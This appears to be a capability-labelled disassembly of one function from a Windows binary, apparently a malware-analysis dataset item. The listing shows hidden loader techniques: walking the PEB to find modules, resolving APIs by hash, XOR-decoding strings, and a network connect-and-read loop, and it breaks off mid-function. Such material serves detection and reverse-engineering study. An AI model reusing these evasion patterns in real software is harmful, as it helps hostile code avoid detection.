Function at 0x100031eb
Capabilities:
Access peb ldr_data
Encode data using xor
Get process heap flags

Disassembly:
push ebp
lea ebp, [esp - 0x7f0]
sub esp, 0x7f0
push 0xffffffffffffffff
push 0x1000d96a
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x1001500c]
xor eax, ebp
mov dword [ebp + 0x7ec], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov cl, 0xec
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov edi, dword [eax + 0x10]
mov eax, ebx
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x5c], cl
mov dword [ebp - 0x58], 0xc
mov dword [ebp - 0x54], 0xa5a2a5bb
mov dword [ebp - 0x50], 0xc2b8a9a2
mov dword [ebp - 0x4c], 0xec808088
xor byte [ebp + eax - 0x54], cl
inc eax
cmp eax, dword [ebp - 0x58]
jae 0x1000327f
mov cl, byte [ebp - 0x5c]
jmp 0x10003270
mov edx, 0x4e5e7cf7
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], edx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100032b0
mov edx, dword [ebp - 0x20]
jmp 0x100032a1
mov eax, dword [ebp - 0x18]
mov edx, 0x5cbcf9ef
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov esi, dword [eax + edi]
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100032eb
mov edx, dword [ebp - 0x20]
jmp 0x100032dc
mov eax, dword [ebp - 0x18]
mov edx, 0x6b1b76e7
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
add eax, esi
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x6b1b76c7
mov esi, dword [eax + edi]
add esi, edi
mov dword [ebp - 0x10], 0x6fe5a08f
mov dword [ebp - 0x2c], esi
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000332d
mov edx, dword [ebp - 0x20]
jmp 0x1000331e
mov eax, dword [ebp - 0x18]
mov edx, 0x7979f3df
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + esi]
add eax, edi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000336d
mov edx, dword [ebp - 0x20]
jmp 0x1000335e
mov eax, dword [ebp - 0x18]
mov edx, 0x47d870d6
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov esi, dword [eax + esi]
add esi, edi
mov dword [ebp - 0x14], 0x47d870f2
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x10], 0x4ca29a7e
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100033ad
mov edx, dword [ebp - 0x20]
jmp 0x1000339e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x14]
mov eax, dword [eax + ecx]
add eax, edi
cmp dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], eax
je 0x1000347a
test esi, esi
je 0x1000347a
test eax, eax
je 0x1000347a
mov esi, ebx
mov edx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], edx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000340c
mov edx, dword [ebp - 0x20]
jmp 0x100033fd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x14]
cmp esi, dword [eax + ecx]
jae 0x1000347a
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + esi*4]
add eax, edi
mov ecx, eax
mov dword [ebp - 0x24], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000342b
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x48], eax
test eax, eax
je 0x10003463
mov edi, dword [ebp - 0x24]
mov ebx, eax
movsx eax, byte [ecx + edi]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10003448
mov edi, dword [ebp - 0x34]
xor ebx, ebx
cmp edx, 0xeb4619fd
je 0x10003469
inc esi
jmp 0x100033db
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
movzx eax, word [eax + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0x1000347c
mov eax, ebx
lea ecx, [ebp - 0x54]
push ecx
call eax
push 0xffffffffffffff8d
mov esi, eax
mov dword [ebp - 0x58], 0xc
pop ecx
mov dword [ebp - 0x34], esi
mov eax, ebx
mov byte [ebp - 0x5c], cl
mov dword [ebp - 0x54], 0xe4f7e2c0
mov dword [ebp - 0x50], 0xa2ece1e1
mov word [ebp - 0x4c], 0xa3b8
mov byte [ebp - 0x4a], 0xbd
mov byte [ebp - 0x49], cl
xor byte [ebp + eax - 0x54], cl
inc eax
cmp eax, dword [ebp - 0x58]
jae 0x100034c0
mov cl, byte [ebp - 0x5c]
jmp 0x100034b1
mov edx, 0x4e5e7cf7
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], edx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100034f1
mov edx, dword [ebp - 0x20]
jmp 0x100034e2
mov eax, dword [ebp - 0x18]
mov edx, 0x5cbcf9ef
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edi, dword [eax + esi]
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000352c
mov edx, dword [ebp - 0x20]
jmp 0x1000351d
mov eax, dword [ebp - 0x18]
mov edx, 0x6b1b76e7
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edi
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x6b1b76c7
mov edi, dword [eax + esi]
add edi, esi
mov dword [ebp - 0x10], 0x6fe5a08f
mov dword [ebp - 0x2c], edi
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000356e
mov edx, dword [ebp - 0x20]
jmp 0x1000355f
mov eax, dword [ebp - 0x18]
mov edx, 0x7979f3df
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + edi]
add eax, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100035ae
mov edx, dword [ebp - 0x20]
jmp 0x1000359f
mov eax, dword [ebp - 0x18]
mov edx, 0x47d870d6
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edi, dword [eax + edi]
add edi, esi
mov dword [ebp - 0x14], 0x47d870f2
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x10], 0x4ca29a7e
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100035ee
mov edx, dword [ebp - 0x20]
jmp 0x100035df
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x14]
mov eax, dword [eax + ecx]
add eax, esi
cmp dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], eax
je 0x100036c5
test edi, edi
je 0x100036c5
test eax, eax
je 0x100036c5
mov edi, ebx
mov edx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], edx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000364d
mov edx, dword [ebp - 0x20]
jmp 0x1000363e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edi, dword [eax + ecx]
jae 0x100036c5
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + edi*4]
add edx, esi
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000366c
sub ecx, dword [ebp - 0x30]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
pop eax
mov dword [ebp - 0x48], eax
jbe 0x100036ae
mov ebx, dword [ebp - 0x24]
mov esi, eax
movsx eax, byte [ecx + edx]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x1000368f
mov dword [ebp - 0x48], esi
xor ebx, ebx
cmp dword [ebp - 0x48], 0xdc57540f
mov esi, dword [ebp - 0x34]
je 0x100036b4
inc edi
jmp 0x1000361c
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x100036c7
mov eax, ebx
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp - 0x54]
push ecx
call eax
mov dword [ebp - 0x48], eax
test eax, eax
jne 0x100036f9
push 0x1000f634
mov ecx, dword [ebp - 0x60]
call fcn.10008dd4
lea ecx, [ebp + 0x7f8]
call fcn.10008d7b
mov eax, dword [ebp - 0x60]
jmp 0x100045ae
cmp dword [ebp + 0x80c], 0x10
lea eax, [ebp + 0x7f8]
push 2
cmovae eax, dword [ebp + 0x7f8]
mov ecx, ebx
mov dword [ebp - 0x40], eax
mov eax, 0x4e5e7cf7
pop edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003740
mov eax, dword [ebp - 0x20]
jmp 0x10003731
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov edx, dword [eax + esi]
mov eax, 0x5cbcf9ef
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003777
mov eax, dword [ebp - 0x20]
jmp 0x10003768
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x6b1b76c7
mov dword [ebp - 0x10], 0x6fe5a08f
mov edx, dword [eax + esi]
mov eax, 0x6b1b76e7
add edx, esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], edx
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100037b5
mov eax, dword [ebp - 0x20]
jmp 0x100037a6
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x7979f3c3
mov edi, dword [eax + edx]
mov eax, 0x7979f3df
add edi, esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x100037f5
mov eax, dword [ebp - 0x20]
jmp 0x100037e6
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x47d870f2
mov edx, dword [edx + eax]
mov eax, 0x47d870d6
add edx, esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], 0x4ca29a7e
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003835
mov eax, dword [ebp - 0x20]
jmp 0x10003826
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x14]
mov eax, dword [ecx + eax]
add eax, esi
mov dword [ebp - 0x2c], eax
test edi, edi
je 0x10003900
test edx, edx
je 0x10003900
test eax, eax
je 0x10003900
mov edi, ebx
mov eax, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003892
mov eax, dword [ebp - 0x20]
jmp 0x10003883
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edi, dword [ecx + eax]
jae 0x10003900
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + edi*4]
add eax, esi
mov ecx, eax
mov dword [ebp - 0x30], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100038b1
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x100038e9
mov esi, dword [ebp - 0x30]
mov ebx, eax
movsx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, ebx
jb 0x100038ce
mov esi, dword [ebp - 0x34]
xor ebx, ebx
cmp edx, 0x96a4fae0
je 0x100038ef
inc edi
jmp 0x10003861
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10003902
mov eax, ebx
push ebx
push connect
push ebx
push ebx
push dword [ebp - 0x40]
push dword [ebp - 0x48]
call eax
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x10003b2b
push 2
mov ecx, 0x4e5e7cf7
mov dword [ebp - 0x18], ebx
pop edi
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000394d
mov ecx, dword [ebp - 0x20]
jmp 0x1000393e
mov eax, dword [ebp - 0x18]
mov edx, 0x5cbcf9ef
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov ecx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + eax*4 - 0x14], edx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003984
mov edx, dword [ebp - 0x20]
jmp 0x10003975
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
add eax, ecx
mov dword [ebp - 0x1c], 2
mov ecx, 0x6b1b76e7
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0x6b1b76c7
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x10], 0x6fe5a08f
mov dword [ebp - 0x2c], edi
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x100039c6
mov ecx, dword [ebp - 0x20]
jmp 0x100039b7
mov eax, dword [ebp - 0x18]
mov ecx, 0x7979f3df
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003a06
mov ecx, dword [ebp - 0x20]
jmp 0x100039f7
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x47d870f2
mov ecx, dword [eax + edi]
mov eax, ebx
add ecx, esi
mov dword [ebp - 0x10], 0x4ca29a7e
mov esi, 0x47d870d6
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], esi
xor dword [ebp + eax*4 - 0x14], esi
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003a46
mov esi, dword [ebp - 0x20]
jmp 0x10003a37
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov esi, dword [eax + edi]
add esi, dword [ebp - 0x34]
mov dword [ebp - 0x3c], esi
test edx, edx
je 0x10003b1c
test ecx, ecx
je 0x10003b1c
test esi, esi
je 0x10003b1c
mov edx, ebx
mov ecx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003aa1
mov ecx, dword [ebp - 0x20]
jmp 0x10003a92
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x10003b1c
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + edx*4]
add eax, dword [ebp - 0x34]
mov ecx, eax
mov dword [ebp - 0x30], eax
lea eax, [ecx + 1]
mov dword [ebp - 0x38], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003ac1
sub ecx, dword [ebp - 0x38]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
pop eax
mov dword [ebp - 0x28], eax
jbe 0x10003b09
mov esi, dword [ebp - 0x30]
mov edi, eax
mov ebx, dword [ebp - 0x24]
movsx eax, byte [ecx + esi]
xor eax, edi
imul edi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10003ae7
mov esi, dword [ebp - 0x3c]
xor ebx, ebx
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], 0x2b132ea
mov edi, dword [ebp - 0x2c]
je 0x10003b0f
inc edx
jmp 0x10003a70
movzx eax, word [esi + edx*2]
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx + eax*4]
add ebx, dword [ebp - 0x34]
push dword [ebp - 0x48]
call ebx
push 0x1000f635
jmp 0x100036de
xor eax, eax
lea edi, [ebp]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], 0xf
mov byte [ebp], bl
mov byte [ebp - 4], 1
push 2
mov ecx, 0x4e5e7cf7
mov dword [ebp - 0x18], ebx
pop edi
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003b75
mov ecx, dword [ebp - 0x20]
jmp 0x10003b66
mov eax, dword [ebp - 0x18]
mov ecx, 0x5cbcf9ef
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov edx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003bac
mov ecx, dword [ebp - 0x20]
jmp 0x10003b9d
mov eax, dword [ebp - 0x18]
mov ecx, 0x6b1b76e7
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x6b1b76c7
mov edx, dword [eax + esi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x10], 0x6fe5a08f
mov dword [ebp - 0x38], edx
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003bea
mov ecx, dword [ebp - 0x20]
jmp 0x10003bdb
mov eax, dword [ebp - 0x18]
mov ecx, 0x7979f3df
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + edx]
add eax, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x24], eax
mov eax, ebx
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003c26
mov ecx, dword [ebp - 0x20]
jmp 0x10003c17
mov eax, dword [ebp - 0x18]
mov ecx, 0x47d870d6
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edi, dword [eax + edx]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x47d870f2
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x10], 0x4ca29a7e
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003c66
mov ecx, dword [ebp - 0x20]
jmp 0x10003c57
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov eax, dword [eax + edx]
add eax, esi
cmp dword [ebp - 0x24], 0
mov dword [ebp - 0x30], eax
je 0x10003d30
test edi, edi
je 0x10003d30
test eax, eax
je 0x10003d30
mov edi, ebx
mov ecx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5636edd6
mov dword [ebp - 0x10], 0x5b011776
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003cc2
mov ecx, dword [ebp - 0x20]
jmp 0x10003cb3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edi, dword [edx + eax]
jae 0x10003d30
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + edi*4]
add eax, esi
mov ecx, eax
mov dword [ebp - 0x44], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003cde
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x40], eax
test eax, eax
je 0x10003d16
mov esi, dword [ebp - 0x44]
mov ebx, eax
movsx eax, byte [ecx + esi]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10003cfb
mov esi, dword [ebp - 0x34]
xor ebx, ebx
cmp edx, 0x9394cea2
je 0x10003d1f
mov edx, dword [ebp - 0x38]
inc edi
jmp 0x10003c91
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10003d32
mov eax, ebx
lea ecx, [ebp + 0x18]
push ecx
push 0x7d0
lea ecx, [ebp + 0x1c]
push ecx
push dword [ebp - 0x2c]
call eax
test al, al
je 0x10004179
cmp dword [ebp + 0x18], 0
jbe 0x10003d6b
push dword [ebp + 0x18]
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.10008d26
cmp dword [ebp + 0x18], 0
ja 0x10003b45
push 2
mov ecx, 0x4e5e7cf7
mov dword [ebp - 0x18], ebx
pop edi
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], 0x4e5e7ccb
mov dword [ebp - 0x10], 0x5328a69f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003d9b
mov ecx, dword [ebp - 0x20]
jmp 0x10003d8c
mov eax, dword [ebp - 0x18]
mov ecx, 0x5cbcf9ef
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
mov edx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5cbcf997
mov dword [ebp - 0x10], 0x61872397
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003dd2
mov ecx, dword [ebp - 0x20]
jmp 0x10003dc3
mov eax, dword [ebp - 0x18]
mov ecx, 0x6b1b76e7
push 2
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x20], ecx
pop edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ebx
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x6b1b76c7
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], 0x6fe5a08f
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003e13
mov ecx, dword [ebp - 0x20]
jmp 0x10003e04
mov eax, dword [ebp - 0x18]
mov ecx, 0x7979f3df
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + edi]
add eax, esi
mov dword [ebp - 0x14], 0x7979f3c3
mov dword [ebp - 0x24], eax
mov eax, ebx
mov dword [ebp - 0x10], 0x7e441d87
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003e4f
mov ecx, dword [ebp - 0x20]
jmp 0x10003e40
mov eax, dword [ebp - 0x18]
mov ecx, 0x47d870d6
mov eax, dword [ebp + eax*4 - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x47d870f2
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], 0x4ca29a7e
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10003e8f
mov ecx, dword [ebp - 0x20]
jmp 0x10003e80
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
mov eax, dword [eax + edi]
add eax, esi
cmp dword [ebp - 0x24], 0
mov dword [ebp - 0x38], eax
je 0x10003f5d
test edx, edx
je 0x10003f5d
test eax, eax
je 0x10003f5d
mov edx, ebx
mov dword [ebp - 0x28], ebx
mov ecx, 0x5636edce
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
